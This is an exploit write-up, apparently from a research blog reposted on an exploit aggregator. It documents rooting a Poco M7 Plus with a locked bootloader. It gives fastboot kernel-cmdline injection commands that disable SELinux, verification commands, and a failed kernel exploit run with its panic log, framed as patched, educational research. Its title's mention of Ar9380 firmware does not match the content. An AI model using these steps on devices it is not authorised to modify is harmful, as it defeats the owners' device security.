Back Sploitus

Exploit for Missing Authentication for Critical Function in Qualcomm Ar9380_Firmware

Sploitus • September 29, 2026

> **Disclaimer:** This document is written purely for **educational and security research purposes**. All testing was performed on my own device. I am not responsible for bricked devices, data loss, or misuse of this information. The vulnerabilities discussed here are **already publicly disclosed and patched**. Do not attempt this on devices you do not own.

1. [Device & Environment](#1-device--environment)

2. [Research Overview - Two Approaches](#2-research-overview---two-approaches)

3. [Approach A: Qualcomm GBL Exploit (Fastboot Route)](#3-approach-a-qualcomm-gbl-exploit-fastboot-route)

4. [Approach B: GhostLock Kernel Exploit (Attempted)](#4-approach-b-ghostlock-kernel-exploit-attempted)

5. [Comparison: GBL vs GhostLock](#5-comparison-gbl-vs-ghostlock-on-this-device)

6. [Risk & Security Implications](#6-risk--security-implications)

7. [Patch Status & How to Check](#7-patch-status--how-to-check)

8. [Screenshots - Proof of Working](#8-screenshots---proof-of-working)

9. [References & Credits](#9-references--credits)

| **Device** | Poco M7 Plus 5G (codename: `spring`) |

| **Chipset** | Qualcomm SM6375 (Snapdragon 6s Gen 3) |

| **Architecture** | AArch64, KASLR enabled |

| **SELinux** | Enforcing (before exploit) |

| **Test Platform** | Windows 11, ADB Platform Tools |

### Firmware Versions Tested During Research

> **Research Note:** I initially tested on HyperOS 2.0.202.0 where GhostLock caused kernel panic. I then updated to 2.0.208.0 to check if the newer kernel build (6.1.118 -> 6.1.138) would resolve GhostLock instability. The panic persisted - both builds the same 6.1 `pselect`/`fd_set` internal layout that GhostLock cannot handle. The GBL exploit worked on both versions.

During this research, I tested **two independent exploit paths** to achieve temporary root on this device without unlocking the bootloader:

| | Approach A: GBL Exploit | Approach B: GhostLock |

| **Layer** | Bootloader (ABL/fastboot) | Kernel (Linux 6.1) |

| **CVE** | CVE-2026-24088 | CVE-2026-43499 |

| **Result on this device** | :white_check_mark: **Working** | :x: **Kernel Panic** |

| **Root Type** | Temporary (tethered) | Temporary (tethered) |

| **Requires ADB?** | Yes (fastboot mode) | Yes (shell access) |

| **Kernel version sensitive?** | No | Yes - only stable on 6.6-6.12 |

The GBL exploit worked. GhostLock failed with a kernel panic due to a kernel version mismatch. Both findings are documented in detail below.

## 3. Approach A: Qualcomm GBL Exploit (Fastboot Route)

**CVE-2026-24088** affects Qualcomm's Android Boot Loader (ABL) across multiple devices.

Jan 2026 -> Vulnerability discovered during ABL unpacking & analysis

Feb 2026 -> Qualcomm patches: QcomModulePkg: Fix propagation of untrusted input into kernel cmdline

Mar 2026 -> Public PoC released; Xiaomi begins rolling out HyperOS 3.0.304.0 (patched)

Jun 2026 -> CVE-2026-24088 officially assigned in Qualcomm Security Bulletin

The exploit works as a **three-stage chain** at the bootloader level:

In Android 16, Qualcomm's ABL loads the Generic Bootloader (GBL) from the `efisp` partition. The critical flaw: **ABL only checks if the binary is a valid UEFI application - it does NOT verify its cryptographic signature.** This means a custom, unsigned UEFI application can be placed in `efisp` and it will execute at bootloader stage with full privileges.

#### Stage 2 - Kernel Command-Line Injection

The `fastboot oem set-gpu-preemption` command **lacks input sanitization**. The ABL directly concatenates the provided argument into the kernel command line without filtering.

fastboot oem set-gpu-preemption 0 androidboot.selinux=permissive

...the bootloader writes `androidboot.selinux=permissive` into the kernel cmdline, which Android's `init` process reads at boot - effectively disabling SELinux enforcement.

#### Stage 3 - Unlock Flag Manipulation (Optional)

A custom UEFI application placed in `efisp` can set `is_unlocked` and `is_unlocked_critical` flags to permanently unlock the bootloader. (**This step was NOT tested - carries hard brick risk.**)

> :warning: **Stop before proceeding:** Run the patch check in Section 7 first. If your device is patched, none of this will work.

- Windows PC with ADB/Fastboot (Platform Tools)

- Device on HyperOS **2.0.208.0 or earlier** (do NOT update)

- USB Debugging enabled in Developer Options

- **[KernelSU Manager]( APK or **[Resuski Manager]( APK installed on phone

> **Do I need OEM Unlocking enabled in Developer Options?**

> **No - and this is one of the most important aspects of this exploit.**

> The `fastboot oem set-gpu-preemption` command operates at the **ABL level** - processed **before** the OS checks OEM unlock status. CVE-2026-24088 is a missing input sanitization flaw in ABL itself, completely bypassing the OEM unlock gate. Your bootloader stays **LOCKED** throughout.

> If you saw a guide saying "enable OEM Unlocking first" - that applies to a **different** (standard) unlock method, not this exploit.

fastboot oem set-gpu-preemption 0 androidboot.selinux=permissive

- `OKAY` -> Device is **vulnerable** :white_check_mark: continue

- `FAILED (remote: 'Set GPU HW Preemption: Invalid Argument')` -> Device is **patched** :x: stop here

# Tap "Jailbreak" / grant button to activate root

# Enable "Jailbreak Mode" from the main screen

# Root and modules appear as active and working

> **Important:** After enabling jailbreak mode, if the phone is turned off and back on - you must **re-run the fastboot injection first** (Steps 1-3), then reopen the root manager app. Root is tethered - the manager correctly shows root and modules working once SELinux permissive state is re-established.

adb shell getenforce # Permissive

adb shell su -c id # uid=0(root)

adb shell su -c "cat /data/adb/ksu/version" # KSU version

adb shell su -c "cat /sys/fs/selinux/enforce" # 0

fastboot oem set-gpu-preemption 0 androidboot.selinux=permissive

echo Done. Open KernelSU or Resuski Manager on device.

| SELinux mode | `adb shell getenforce` | `Permissive` |

| Root identity | `adb shell su -c id` | `uid=0(root)` |

| KSU version | `adb shell su -c "cat /data/adb/ksu/version"` | Version string |

| Kernel enforce flag | `adb shell su -c "cat /sys/fs/selinux/enforce"` | `0` |

## 4. Approach B: GhostLock Kernel Exploit (Attempted)

GhostLock is a **kernel-level privilege escalation exploit** ([CVE-2026-43499]( published on GitHub. It targets a vulnerability in the kernel's **futex subsystem** combined with **TCP zerocopy** or **pselect** networking paths to achieve a Use-After-Free (UAF) condition, ultimately overwriting the `cred` structure to grant root privileges.

The easiest way to run GhostLock is via the **[GhostLock One-Tap App]( by [@YuKongA]( - a standalone Android app with a simple UI, no manual binary deployment needed.

**Supported kernel range (stable):** 6.6 - 6.12

**On kernel 6.1:** Unstable - prone to kernel panic (documented below with full log)

This is the complete output from my test run on the Poco M7 Plus (Kernel 6.1.138):

C:\adb platform>adb shell /data/local/tmp/ghostlock --load-prebuilt-profile /data/local/tmp/profile.bin

[*] kernel: 6.1.138-android14-11-g51f8c580613d-ab13911623

[+] resolved profile loaded: 6.1.138-android14-11-g51f8c580613d-ab13911623

[*] debug.execution.routes.tcp_zerocopy.attempts=0 [DEVICE KERNEL PANIC - Spontaneous Reboot]

| Profile load | Kernel-specific offset map loaded for 6.1.138 | :white_check_mark: Success |

| CPU pinning | main=cpu0, consumer=cpu1 for race condition | :white_check_mark: Success |

| TCP Zerocopy | Auto-detected not viable on 6.1, fell back to pselect | :warning: Fallback |

| KASLR bypass | delta=0x28000000 calculated, kernel slide known | :white_check_mark: Success |

| Kernel address leak | mm_struct leaked to userspace | :white_check_mark: Success |

| init_cred resolved | Root credential structure address found | :white_check_mark: Success |

| pselect race | waiter_word=14, global_word=15 - MISMATCH | :x: **CRASH** |

global_word = 15 unmapped memory -> **kernel panic -> device reboot**.

| **TCP Zerocopy** | Different UAF window timing | Stable UAF trigger window |

| **`pselect6()` fd_set layout** | Different `words_per_set` boundary | Matches exploit geometry |

| **Futex `REQUEUE_PI`** | `errno=35 (EAGAIN)` - less predictable | More consistent race outcome |

| **SLUB allocator** | Different slab cache placement | Matches heap spray assumptions |

| **Result** | :x: Kernel Panic | :white_check_mark: Exploit succeeds |

## 5. Comparison: GBL vs GhostLock on This Device

| Factor | GBL Exploit :white_check_mark: | GhostLock :x: |

| **Attack surface** | Bootloader (pre-kernel) | Running kernel |

| **Reliability on this device** | High | Kernel panic (unstable) |

| **Kernel version dependency** | None | Critical (6.6-6.12 only) |

| **KASLR bypass needed** | No | Yes (succeeded) |

| **SELinux bypass method** | Kernel cmdline injection | `cred` struct overwrite |

| **Persistence** | None (tethered) | None (tethered) |

| **Root mechanism** | KernelSU/Resuski + permissive SELinux | Direct `cred` struct manipulation |

| **Patch vector** | ABL firmware update | Kernel patch |

| **Brick risk** | Low (fastboot only) | Low to Medium (kernel panic) |

| **Temporary root only** | High | Root is lost on every reboot. Fastboot injection must be re-run. |

| **SELinux permissive mode** | Critical | Disables Android MAC layer. Do NOT use banking/payment apps while in this state. |

| **Kernel panic (GhostLock)** | Medium | Attempting GhostLock on 6.1 causes unexpected reboot. No data corruption observed. |

| **Hard brick** | Critical | Flashing incorrect partitions (`abl`, `xbl`, `hyp`) can permanently brick. Recovery requires EDL (9008). |

| **Bootloop** | Medium | Some Hynix/Toshiba storage devices have reported bootloops. |

| **Patch imminent** | Info | HyperOS 3.0.304.0+ closes CVE-2026-24088. Once updated, GBL exploit will not work. |

| **Warranty void** | Medium | Modifying system state may void manufacturer warranty. |

fastboot oem set-gpu-preemption 0 androidboot.selinux=permissive

- `FAILED (remote: 'Set GPU HW Preemption: Invalid Argument')` -> Patched

Use [qualcomm-gbl-exploit-checker](

# STATUS: VULNERABLE -> Exploit may work

# STATUS: PATCHED -> Device is protected

| Redmi 15 5G | HyperOS 3.0.303.0 (confirmed - includes August 2026 security patch) |

| Other Xiaomi/POCO | Check Qualcomm June 2026 Security Bulletin |

| `FAILED: Invalid Argument` | ABL is patched | Device is not vulnerable. Stop. |

| `getenforce` returns `Enforcing` | Exploit failed silently | Reboot to fastboot, re-run injection command |

| Device bootloops | Storage compatibility issue | Boot to fastboot, re-flash stock `boot.img` |

| Root manager not detecting permissive | App version mismatch | Ensure compatible build for Android 15 |

| GhostLock causes reboot | Kernel 6.1 incompatibility | Expected behavior - use GBL route instead |

> All screenshots taken on **Poco M7 Plus 5G - HyperOS 2.0.208.0** with bootloader **LOCKED**.

- [Qualcomm GBL Exploit PoC](

- [GBL Exploit Checker](

- [CVE-2026-24088 - NVD](

- [CVE-2026-43499 (GhostLock) - NVD](

- [GhostLock One-Tap App by YuKongA](

- [Qualcomm June 2026 Security Bulletin](

- [XDA Guide - POCO F8 Pro / Redmi K90 (Annibale)](

- [KernelSU Project](

- [Resuski Manager by rsuntk](

| Qualcomm ABL researchers | - | Discovery of GBL authentication gap and cmdline injection flaw |

| kasnria001 | [@kasnria001]( | Public PoC release of CVE-2026-24088 |

| chkndrp | [@chkndrp]( | ABL patch checker tool |

| YuKongA | [@YuKongA]( | GhostLock One-Tap App (CVE-2026-43499) |

| XDA community | [XDA Forums]( | Cross-device testing and documentation |

| KernelSU developers | [@tiann]( | Root management framework |

| rsuntk | [@rsuntk]( | Resuski Manager - alternative root manager with module support |

| GhostLock authors | - | Kernel exploit research (6.6-6.12 range) |

| aniketlab | [@aniketlab]( | Testing on SM6375 / kernel 6.1.118 + 6.1.138, firmware comparison, GhostLock panic analysis, dual-approach documentation |

*Tested on: Poco M7 Plus 5G - HyperOS 2.0.202.0 & 2.0.208.0 - Kernel 6.1.118 & 6.1.138 - September 2026*

*Research by [@aniketlab]( - conducted on personal device for educational purposes only.*

The full story

This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.

Exploits Discovered in Qualcomm Firmware Affecting Poco M7 Plus Two exploits targeting the Qualcomm SM6375 chipset in the Poco M7 Plus have been documented, focusing on a missing authentication vulnerability in the Qualcomm Ar9380 firmware. The first exploit, CVE-2026-24088, was published on June 1, 2026, and allows temporary root access via the Qualcomm GBL exploit. The second exploit, CVE-2026-43499, published on May 21, 2026, was attempted but resulted in kernel panic. Both exploits were tested on HyperOS versions 2.0.202.0 and 2.0.208.0, revealing that the GBL exploit worked while the GhostLock approach failed. These vulnerabilities have been publicly disclosed and patched, but users are advised to check their devices for updates. The research was conducted in a controlled environment, and the authors emphasized the importance of ethical testing. The findings are significant for users of affected devices, particularly those who have not updated their firmware. 2 sources 45

Extracted Entities

Exploit for Missing Authentication for Critical Function in Qualcomm Ar9380_Firmware

The full story

Extracted Entities

CVEs (2)

MITRE ATT&CK (1)

Platforms (3)

Tools (6)